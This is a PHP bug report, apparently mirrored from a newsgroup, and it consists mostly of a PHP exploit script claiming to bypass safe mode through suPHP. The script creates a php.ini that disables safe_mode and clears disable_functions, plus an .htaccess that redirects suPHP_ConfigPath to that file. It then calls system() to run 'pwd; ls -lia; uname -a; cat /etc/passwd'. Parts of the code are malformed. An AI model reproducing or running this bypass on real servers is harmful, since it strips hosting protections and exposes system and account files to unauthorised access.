[PHP-BUG] Bug #71095 [NEW]: Vulnerability Bypassing Safe Mode with Exploit in apache 1.x And 2.x

[email protected] ("soufiane dot boussali at efet dot ac dot ma")
Newsgroups php.standards
Message-ID <[email protected]>
From:             soufiane dot boussali at efet dot ac dot ma
Operating system: multiple
PHP version:      7.0.1RC1
Package:          PHP Language Specification
Bug Type:         Bug
Bug description:Vulnerability Bypassing Safe Mode with Exploit in apache 1.x And 2.x

Description:
------------
apache 1.x <=> 2.x suphp (suPHP_ConfigPath) bypass safe mode exploit‎

<?
/*
apache 1.x <=> 2.x suphp (suPHP_ConfigPath) bypass safe mode exploit
Author   : Soufiane Boussali
Facebook : fb.com/soufian.ckin2u
*/


echo "[+] Start...
";

$bypfile=fopen(php.ini,w+);
$stuffile=fopen(.htaccess,w+);
if($bypfile and $stuffile!= NULL){

echo "[+] evil files created succes ! 
";

}
else{
echo "[-] access denial ! 
";

}
$byprullz1="safe_mode          =       OFF

";

$byprullz2="disable_functions       =            NONE";
$dj=fwrite($bypfile,$byprullz1);

$dj1=fwrite($bypfile,$byprullz2);

fclose($bypfile);
if($dj and $dj1!= NULL){
echo "[+] php.ini writed 
";

}
else{
echo "[-] 404 php.ini not found !
";
}
$breakrullz="suPHP_ConfigPath /home/user/public_html/php.ini"; //
replace this /home/user/public_html by ur path 

$sf7=fwrite($stuffile,$breakrullz);

fclose($stuffile);
if($sf7!= NULL){

echo "[+] evil .htaccess writed
";
echo "[+] exploited by success!


";
echo "			[+] discouvred by Hacker404
";
echo "			[+] hackerone.com/hacker404
";
echo "			[+] Facebook : fb.com/soufian.ckin2u
";
}
else{

echo "[-] evil .htaccess Not found!
";
}


system("pwd;ls -lia;uname -a;cat /etc/passwd");

#EOF
?>

Risk : high Levele

Soufiane Boussali

Best Regards,


-- 
Edit bug report at https://bugs.php.net/bug.php?id=71095&edit=1
-- 
Try a snapshot (PHP 5.4):   https://bugs.php.net/fix.php?id=71095&r=trysnapshot54
Try a snapshot (PHP 5.5):   https://bugs.php.net/fix.php?id=71095&r=trysnapshot55
Try a snapshot (trunk):     https://bugs.php.net/fix.php?id=71095&r=trysnapshottrunk
Fixed in SVN:               https://bugs.php.net/fix.php?id=71095&r=fixed
Fixed in release:           https://bugs.php.net/fix.php?id=71095&r=alreadyfixed
Need backtrace:             https://bugs.php.net/fix.php?id=71095&r=needtrace
Need Reproduce Script:      https://bugs.php.net/fix.php?id=71095&r=needscript
Try newer version:          https://bugs.php.net/fix.php?id=71095&r=oldversion
Not developer issue:        https://bugs.php.net/fix.php?id=71095&r=support
Expected behavior:          https://bugs.php.net/fix.php?id=71095&r=notwrong
Not enough info:            https://bugs.php.net/fix.php?id=71095&r=notenoughinfo
Submitted twice:            https://bugs.php.net/fix.php?id=71095&r=submittedtwice
register_globals:           https://bugs.php.net/fix.php?id=71095&r=globals
PHP 4 support discontinued: https://bugs.php.net/fix.php?id=71095&r=php4
Daylight Savings:           https://bugs.php.net/fix.php?id=71095&r=dst
IIS Stability:              https://bugs.php.net/fix.php?id=71095&r=isapi
Install GNU Sed:            https://bugs.php.net/fix.php?id=71095&r=gnused
Floating point limitations: https://bugs.php.net/fix.php?id=71095&r=float
No Zend Extensions:         https://bugs.php.net/fix.php?id=71095&r=nozend
MySQL Configuration Error:  https://bugs.php.net/fix.php?id=71095&r=mysqlcfg
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.